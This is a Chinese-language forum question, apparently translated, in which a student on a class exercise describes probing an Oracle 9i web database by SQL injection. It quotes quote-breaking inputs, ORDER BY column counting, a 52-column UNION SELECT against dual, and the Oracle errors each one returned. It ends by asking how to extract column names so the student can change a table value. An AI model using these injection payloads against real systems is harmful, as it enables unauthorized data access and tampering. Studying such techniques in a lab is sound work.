所以我在上课时做了一些练习,而且我在理解这个特定的数据库时遇到了一些麻烦,我打算盲目闯入。
数据库使用字符串抛出以下错误:
x'
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[Microsoft][ODBC driver for Oracle][Oracle]ORA-01756: quoted string not properly terminated
表明它很脆弱。
同样,数据库与有效输入valid'||'input
连接正常,返回正确的输入网页。
让我感到困惑的是,输入x' --
时数据库不会抛出错误,但是当输入输入x'; --
时,db会抛出以下错误:
Error Type: Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC driver for Oracle][Oracle]ORA-00911: invalid character
我还尝试对输入进行URL编码,使其显示为x'%3b+--
或x'%3b --
,但会返回相同的结果。
有没有人知道下一步要做什么,因为我似乎无法在查询中注入分号;
?
一切都在这下面编辑:
编辑1:我开始思考并认为我可能在一个括号内。我尝试了输入x');
,它会产生以下错误:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC driver for Oracle][Oracle]ORA-00933: SQL command not properly ended
编辑2:
发现语句validinput'order by 52--
产生了结果,但validinput'order by 53--
产生了错误。我总结说该表有52列。
我现在正在尝试validinput' union select 1 from table_name
,但感觉就像一个巨大的猜谜游戏。我不知道任何表名可能是什么。
编辑3:
我的大脑在这一点上真的很伤心,但我想我差不多......
该声明
validnum'+union+select+null,2,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from+dual--
返回了合法页面
编辑4: 按照Jeffrey Kemp的建议,我得到了一张表(输出似乎限于1行)。哦,哦。但更多信息,版本是Oracle 9i,我知道数据库名称加上用户名,而且很少有表通过盲目的运气。练习的目标是更改其中一个表中的值。但是,由于输出限制为1行,我在获取列名时遇到了困难。有什么建议吗?